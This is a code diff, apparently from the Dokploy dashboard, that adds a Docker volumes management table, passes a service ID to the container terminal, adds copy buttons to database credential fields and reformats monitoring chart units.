<SelectContent>
<SelectItem value="all">All states</SelectItem>
{CONTAINER_STATES.map((state) => (
<SelectItem
key={state}
value={state}
className="capitalize"
>
{state}
</SelectItem>
))}
</SelectContent>
</Select>
<Button
variant="outline"
size="icon"
className="shrink-0 sm:ml-auto"
onClick={() => refetch()}
disabled={isRefetching}
>
<RefreshCw
className={`h-4 w-4 ${isRefetching ? "animate-spin" : ""}`}
/>
<span className="sr-only">Refresh</span>
</Button>
<DropdownMenu>
<DropdownMenuTrigger asChild>
<Button
variant="outline"
className="sm:ml-auto max-sm:w-full"
>
<Button variant="outline" className="max-sm:w-full">
Columns <ChevronDown className="ml-2 h-4 w-4" />
</Button>
</DropdownMenuTrigger>
@@ -23,12 +23,14 @@ interface Props {
containerId: string;
serverId?: string;
children?: React.ReactNode;
serviceId?: string;
}
export const DockerTerminalModal = ({
children,
containerId,
serverId,
serviceId,
}: Props) => {
const [mainDialogOpen, setMainDialogOpen] = useState(false);
const [confirmDialogOpen, setConfirmDialogOpen] = useState(false);
@@ -74,6 +76,7 @@ export const DockerTerminalModal = ({
id="terminal"
containerId={containerId}
serverId={serverId || ""}
serviceId={serviceId}
/>
<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>
@@ -5,17 +5,20 @@ import "@xterm/xterm/css/xterm.css";
import { AttachAddon } from "@xterm/addon-attach";
import { useTheme } from "next-themes";
import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs";
import { fixMacOsAltKeys } from "@/lib/terminal-keyboard";
interface Props {
id: string;
containerId?: string;
serverId?: string;
serviceId?: string;
}
export const DockerTerminal: React.FC<Props> = ({
id,
containerId,
serverId,
serviceId,
}) => {
const termRef = useRef(null);
const [activeWay, setActiveWay] = React.useState<string | undefined>("bash");
@@ -38,11 +41,12 @@ export const DockerTerminal: React.FC<Props> = ({
const addonFit = new FitAddon();
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}`;
const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}${serviceId ? `&serviceId=${serviceId}` : ""}`;
const ws = new WebSocket(wsUrl);
const addonAttach = new AttachAddon(ws);
fixMacOsAltKeys(term);
// @ts-ignore
term.open(termRef.current);
// @ts-ignore
@@ -0,0 +1,434 @@
"use client";
import {
type ColumnDef,
flexRender,
getCoreRowModel,
getPaginationRowModel,
getSortedRowModel,
type PaginationState,
type SortingState,
useReactTable,
} from "@tanstack/react-table";
import type { inferRouterOutputs } from "@trpc/server";
import {
ArrowUpDown,
Eye,
FolderOpen,
HardDrive,
Loader2,
Trash2,
} from "lucide-react";
import { useMemo, useState } from "react";
import { toast } from "sonner";
import { FilesExplorerModal } from "@/components/dashboard/docker/files/files-explorer-modal";
import { AlertBlock } from "@/components/shared/alert-block";
import { CodeEditor } from "@/components/shared/code-editor";
import { DialogAction } from "@/components/shared/dialog-action";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
Card,
CardContent,
CardDescription,
CardHeader,
CardTitle,
} from "@/components/ui/card";
import {
Dialog,
DialogContent,
DialogDescription,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { Input } from "@/components/ui/input";
import {
Table,
TableBody,
TableCell,
TableHead,
TableHeader,
TableRow,
} from "@/components/ui/table";
import type { AppRouter } from "@/server/api/root";
import { api } from "@/utils/api";
type VolumeRow =
inferRouterOutputs<AppRouter>["dockerVolume"]["getVolumes"][number];
interface Props {
serverId?: string;
}
const SIZE_UNITS: Record<string, number> = {
b: 1,
kb: 1e3,
mb: 1e6,
gb: 1e9,
tb: 1e12,
};
const parseSize = (size?: string) => {
if (!size) return -1;
const match = /^([\d.]+)\s*([a-zA-Z]+)$/.exec(size.trim());
if (!match?.[1] || !match[2]) return -1;
return Number(match[1]) * (SIZE_UNITS[match[2].toLowerCase()] ?? 1);
};
const SortableHeader = ({
column,
title,
}: {
column: {
getIsSorted: () => false | "asc" | "desc";
toggleSorting: (asc: boolean) => void;
};
title: string;
}) => (
<Button
variant="ghost"
className="-ml-3 h-8"
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
>
{title}
<ArrowUpDown className="ml-2 size-4" />
</Button>
);
const ShowVolumeConfig = ({
volumeName,
serverId,
}: {
volumeName: string;
serverId?: string;
}) => {
const [open, setOpen] = useState(false);
const { data, isLoading, error } = api.dockerVolume.getVolumeConfig.useQuery(
{ volumeName, serverId },
{ enabled: open },
);
return (
<Dialog open={open} onOpenChange={setOpen}>
<DialogTrigger asChild>
<Button variant="ghost" size="icon-sm" aria-label="View volume config">
<Eye className="size-4" />
</Button>
</DialogTrigger>
<DialogContent className="w-full md:w-[70vw] min-w-[70vw]">
<DialogHeader>
<DialogTitle>Volume Config</DialogTitle>
<DialogDescription>
docker volume inspect output for "{volumeName}"
</DialogDescription>
</DialogHeader>
{error ? (
<AlertBlock type="error">{error.message}</AlertBlock>
) : isLoading ? (
<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : (
<div className="text-wrap rounded-lg border p-4 overflow-y-auto text-sm bg-card max-h-[80vh]">
<code>
<pre className="whitespace-pre-wrap wrap-break-word">
<CodeEditor
language="json"
lineWrapping
lineNumbers={false}
readOnly
value={JSON.stringify(data, null, 2)}
/>
</pre>
</code>
</div>
)}
</DialogContent>
</Dialog>
);
};
export const ShowVolumes = ({ serverId }: Props) => {
const utils = api.useUtils();
const [sorting, setSorting] = useState<SortingState>([
{ id: "Name", desc: false },
]);
const [globalFilter, setGlobalFilter] = useState("");
const [pagination, setPagination] = useState<PaginationState>({
pageIndex: 0,
pageSize: 10,
});
const { data: volumes, isLoading } = api.dockerVolume.getVolumes.useQuery({
serverId,
});
const { data: sizes, isLoading: isLoadingSizes } =
api.dockerVolume.getVolumesSize.useQuery({ serverId });
const sizeByName = useMemo(
() => new Map((sizes ?? []).map((entry) => [entry.name, entry.size])),
[sizes],
);
const { mutateAsync: removeVolume } =
api.dockerVolume.removeVolume.useMutation();
const filteredData = useMemo(() => {
const list = volumes ?? [];
if (!globalFilter.trim()) {
return list;
}
const query = globalFilter.toLowerCase();
return list.filter((volume) => volume.Name.toLowerCase().includes(query));
}, [volumes, globalFilter]);
const columns = useMemo<ColumnDef<VolumeRow>[]>(
() => [
{
accessorKey: "Name",
header: ({ column }) => <SortableHeader column={column} title="Name" />,
cell: ({ row }) => (
<div
className="max-w-[280px] truncate font-medium"
title={row.original.Name}
>
{row.original.Name}
</div>
),
},
{
accessorKey: "Driver",
header: ({ column }) => (
<SortableHeader column={column} title="Driver" />
),
cell: ({ row }) => (
<Badge variant="outline">{row.original.Driver}</Badge>
),
},
{
accessorKey: "Scope",
header: ({ column }) => (
<SortableHeader column={column} title="Scope" />
),
cell: ({ row }) => (
<span className="text-muted-foreground">{row.original.Scope}</span>
),
},
{
id: "Size",
header: ({ column }) => <SortableHeader column={column} title="Size" />,
sortingFn: (a, b) =>
parseSize(sizeByName.get(a.original.Name) ?? undefined) -
parseSize(sizeByName.get(b.original.Name) ?? undefined),
cell: ({ row }) =>
isLoadingSizes ? (
<Loader2 className="size-3.5 animate-spin text-muted-foreground" />
) : (
<span className="text-muted-foreground">
{sizeByName.get(row.original.Name) ?? "-"}
</span>
),
},
{
accessorKey: "Mountpoint",
header: ({ column }) => (
<SortableHeader column={column} title="Mountpoint" />
),
cell: ({ row }) => (
<div
className="max-w-[320px] truncate font-mono text-xs text-muted-foreground"
title={row.original.Mountpoint}
>
{row.original.Mountpoint}
</div>
),
},
{
id: "actions",
enableSorting: false,
header: () => <div className="text-right">Actions</div>,
cell: ({ row }) => (
<div className="flex items-center justify-end gap-3">
<FilesExplorerModal
volumeName={row.original.Name}
serverId={serverId}
asDropdownItem={false}
>
<Button
variant="ghost"
size="icon-sm"
aria-label="Browse volume files"
>
<FolderOpen className="size-4" />
</Button>
</FilesExplorerModal>
<ShowVolumeConfig
volumeName={row.original.Name}
serverId={serverId}
/>
<DialogAction
title="Delete volume"
description={`The volume "${row.original.Name}" will be removed from Docker. This action cannot be undone.`}
onClick={async () => {
try {
await removeVolume({
volumeName: row.original.Name,
serverId,
});
toast.success("Volume deleted");
await utils.dockerVolume.getVolumes.invalidate();
} catch (error) {
toast.error("Error deleting volume", {
description:
error instanceof Error ? error.message : "Unknown error",
});
}
}}
>
<Button variant="ghost" size="icon-sm" aria-label="Delete volume">
<Trash2 className="size-4 text-destructive" />
</Button>
</DialogAction>
</div>
),
},
],
[serverId, removeVolume, utils, sizeByName, isLoadingSizes],
);
const table = useReactTable({
data: filteredData,
columns,
state: {
sorting,
pagination,
},
onSortingChange: setSorting,
onPaginationChange: setPagination,
getCoreRowModel: getCoreRowModel(),
getSortedRowModel: getSortedRowModel(),
getPaginationRowModel: getPaginationRowModel(),
});
return (
<div className="w-full">
<Card className="h-full bg-sidebar p-2.5 rounded-xl">
<div className="rounded-xl bg-background shadow-md ">
<CardHeader className="">
<CardTitle className="text-xl flex flex-row gap-2">
<HardDrive className="size-6 text-muted-foreground self-center" />
Volumes
</CardTitle>
<CardDescription>
Manage the Docker volumes of the selected server.
</CardDescription>
</CardHeader>
<CardContent className="space-y-4 py-8 border-t">
{isLoading ? (
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : !volumes?.length ? (
<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
<div className="rounded-full bg-muted p-4">
<HardDrive className="size-10 text-muted-foreground" />
</div>
<div className="space-y-1 text-center">
<p className="text-sm font-medium">No volumes found</p>
<p className="max-w-sm text-sm text-muted-foreground">
Docker volumes created on this server will appear here.
</p>
</div>
</div>
) : (
<>
<div className="flex flex-wrap items-center gap-2">
<Input
placeholder="Search by name..."
value={globalFilter}
onChange={(e) => setGlobalFilter(e.target.value)}
className="max-w-xs"
/>
</div>
<div className="rounded-md border overflow-x-auto">
<Table>
<TableHeader>
{table.getHeaderGroups().map((headerGroup) => (
<TableRow key={headerGroup.id}>
{headerGroup.headers.map((header) => (
<TableHead key={header.id}>
{header.isPlaceholder
? null
: flexRender(
header.column.columnDef.header,
header.getContext(),
)}
</TableHead>
))}
</TableRow>
))}
</TableHeader>
<TableBody>
{table.getRowModel().rows?.length ? (
table.getRowModel().rows.map((row) => (
<TableRow key={row.id}>
{row.getVisibleCells().map((cell) => (
<TableCell key={cell.id}>
{flexRender(
cell.column.columnDef.cell,
cell.getContext(),
)}
</TableCell>
))}
</TableRow>
))
) : (
<TableRow>
<TableCell
colSpan={columns.length}
className="h-24 text-center text-muted-foreground"
>
No volumes match your filters.
</TableCell>
</TableRow>
)}
</TableBody>
</Table>
</div>
{table.getPageCount() > 1 && (
<div className="flex items-center justify-end gap-4">
<span className="text-sm text-muted-foreground">
Page {table.getState().pagination.pageIndex + 1} of{" "}
{table.getPageCount()}
</span>
<div className="flex gap-2">
<Button
variant="outline"
size="sm"
onClick={() => table.previousPage()}
disabled={!table.getCanPreviousPage()}
>
Previous
</Button>
<Button
variant="outline"
size="sm"
onClick={() => table.nextPage()}
disabled={!table.getCanNextPage()}
>
Next
</Button>
</div>
</div>
)}
</>
)}
</CardContent>
</div>
</Card>
</div>
);
};
@@ -1,5 +1,5 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
@@ -229,6 +229,7 @@ export const ShowGeneralLibsql = ({ libsqlId }: Props) => {
)}
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.libsqlId}
serverId={data?.serverId || ""}
>
<Button
@@ -28,7 +28,7 @@ export const ShowInternalLibsqlCredentials = ({ libsqlId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2">
<Label>User</Label>
<Input disabled value={data?.databaseUser} />
<Input enableCopyButton disabled value={data?.databaseUser} />
</div>
<div className="flex flex-col gap-2">
<Label>Sqld Node</Label>
@@ -71,7 +71,7 @@ export const ShowInternalLibsqlCredentials = ({ libsqlId }: Props) => {
</div>
<div className="flex flex-col gap-2">
<Label>Internal Host</Label>
<Input disabled value={data?.appName} />
<Input enableCopyButton disabled value={data?.appName} />
</div>
<div className="flex flex-col gap-2">
<Label>Enable Namespaces</Label>
@@ -1,5 +1,5 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
@@ -236,6 +236,7 @@ export const ShowGeneralMariadb = ({ mariadbId }: Props) => {
))}
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.mariadbId}
serverId={data?.serverId || ""}
>
<Button
@@ -25,11 +25,11 @@ export const ShowInternalMariadbCredentials = ({ mariadbId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2">
<Label>User</Label>
<Input disabled value={data?.databaseUser} />
<Input enableCopyButton disabled value={data?.databaseUser} />
</div>
<div className="flex flex-col gap-2">
<Label>Database Name</Label>
<Input disabled value={data?.databaseName} />
<Input enableCopyButton disabled value={data?.databaseName} />
</div>
<div className="flex flex-col gap-2">
<Label>Password</Label>
@@ -79,7 +79,7 @@ export const ShowInternalMariadbCredentials = ({ mariadbId }: Props) => {
<div className="flex flex-col gap-2">
<Label>Internal Host</Label>
<Input disabled value={data?.appName} />
<Input enableCopyButton disabled value={data?.appName} />
</div>
<div className="flex flex-col gap-2 md:col-span-2">
@@ -1,5 +1,5 @@
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
@@ -230,6 +230,7 @@ export const ShowGeneralMongo = ({ mongoId }: Props) => {
</TooltipProvider>
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.mongoId}
serverId={data?.serverId || ""}
>
<Button
@@ -25,7 +25,7 @@ export const ShowInternalMongoCredentials = ({ mongoId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2">
<Label>User</Label>
<Input disabled value={data?.databaseUser} />
<Input enableCopyButton disabled value={data?.databaseUser} />
</div>
<div className="flex flex-col gap-2">
@@ -55,7 +55,7 @@ export const ShowInternalMongoCredentials = ({ mongoId }: Props) => {
<div className="flex flex-col gap-2">
<Label>Internal Host</Label>
<Input disabled value={data?.appName} />
<Input enableCopyButton disabled value={data?.appName} />
</div>
<div className="flex flex-col gap-2 md:col-span-2">
@@ -1,3 +1,4 @@
import { formatMb, toMb } from "@dokploy/server/monitoring/units";
import { format } from "date-fns";
import { Area, AreaChart, CartesianGrid, YAxis } from "recharts";
import {
@@ -29,8 +30,8 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
const transformedData = accumulativeData.map((item, index) => ({
time: item.time,
name: `Point ${index + 1}`,
readMb: item.value.readMb,
writeMb: item.value.writeMb,
readMb: toMb(item.value.readMb),
writeMb: toMb(item.value.writeMb),
}));
return (
@@ -77,13 +78,14 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
}}
formatter={(value, name) => {
const label = name === "readMb" ? "Read" : "Write";
return [`${value} MB`, label];
return [formatMb(Number(value)), label];
}}
/>
}
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="readMb"
stroke="var(--color-readMb)"
fill="url(#fillBlockRead)"
@@ -91,6 +93,7 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="writeMb"
stroke="var(--color-writeMb)"
fill="url(#fillBlockWrite)"
@@ -69,6 +69,7 @@ export const DockerCpuChart = ({ accumulativeData }: Props) => {
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="usage"
stroke="var(--color-usage)"
fill="url(#fillCpu)"
@@ -71,6 +71,7 @@ export const DockerDiskChart = ({ accumulativeData, diskTotal }: Props) => {
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="usedGb"
stroke="var(--color-usedGb)"
fill="url(#fillDiskUsed)"
@@ -75,6 +75,7 @@ export const DockerMemoryChart = ({
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="usage"
stroke="var(--color-usage)"
fill="url(#fillMemory)"
@@ -1,3 +1,4 @@
import { formatMb, toMb } from "@dokploy/server/monitoring/units";
import { format } from "date-fns";
import { Area, AreaChart, CartesianGrid, YAxis } from "recharts";
import {
@@ -29,8 +30,8 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
const transformedData = accumulativeData.map((item, index) => ({
time: item.time,
name: `Point ${index + 1}`,
inMB: item.value.inputMb,
outMB: item.value.outputMb,
inMB: toMb(item.value.inputMb),
outMB: toMb(item.value.outputMb),
}));
return (
@@ -73,13 +74,14 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
}}
formatter={(value, name) => {
const label = name === "inMB" ? "In" : "Out";
return [`${value} MB`, label];
return [formatMb(Number(value)), label];
}}
/>
}
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="inMB"
stroke="var(--color-inMB)"
fill="url(#fillNetIn)"
@@ -87,6 +89,7 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => {
/>
<Area
type="monotone"
isAnimationActive={false}
dataKey="outMB"
stroke="var(--color-outMB)"
fill="url(#fillNetOut)"
@@ -1,3 +1,4 @@
import { formatMb } from "@dokploy/server/monitoring/units";
import { useEffect, useState } from "react";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import { Progress } from "@/components/ui/progress";
@@ -305,7 +306,7 @@ export const ContainerFreeMonitoring = ({
<CardContent>
<div className="flex flex-col gap-2 w-full">
<span className="text-sm text-muted-foreground">
{`Read: ${currentData.block.value.readMb} / Write: ${currentData.block.value.writeMb} `}
{`Read: ${formatMb(currentData.block.value.readMb)} / Write: ${formatMb(currentData.block.value.writeMb)}`}
</span>
<DockerBlockChart accumulativeData={accumulativeData.block} />
</div>
@@ -318,7 +319,7 @@ export const ContainerFreeMonitoring = ({
<CardContent>
<div className="flex flex-col gap-2 w-full">
<span className="text-sm text-muted-foreground">
{`In MB: ${currentData.network.value.inputMb} / Out MB: ${currentData.network.value.outputMb} `}
{`In: ${formatMb(currentData.network.value.inputMb)} / Out: ${formatMb(currentData.network.value.outputMb)}`}
</span>
<DockerNetworkChart accumulativeData={accumulativeData.network} />
</div>
@@ -154,6 +154,7 @@ export const ContainerBlockChart = ({ data }: Props) => {
name="Write"
dataKey="write"
type="monotone"
isAnimationActive={false}
fill="url(#fillWrite)"
stroke="hsl(142, 71%, 45%)"
strokeWidth={2}
@@ -163,6 +164,7 @@ export const ContainerBlockChart = ({ data }: Props) => {
name="Read"
dataKey="read"
type="monotone"
isAnimationActive={false}
fill="url(#fillRead)"
stroke="hsl(217, 91%, 60%)"
strokeWidth={2}
@@ -111,6 +111,7 @@ export const ContainerCPUChart = ({ data }: Props) => {
name="CPU"
dataKey="cpu"
type="monotone"
isAnimationActive={false}
fill="url(#fillCPU)"
stroke="hsl(var(--chart-1))"
strokeWidth={2}

Some files were not shown because too many files have changed in this diff Show More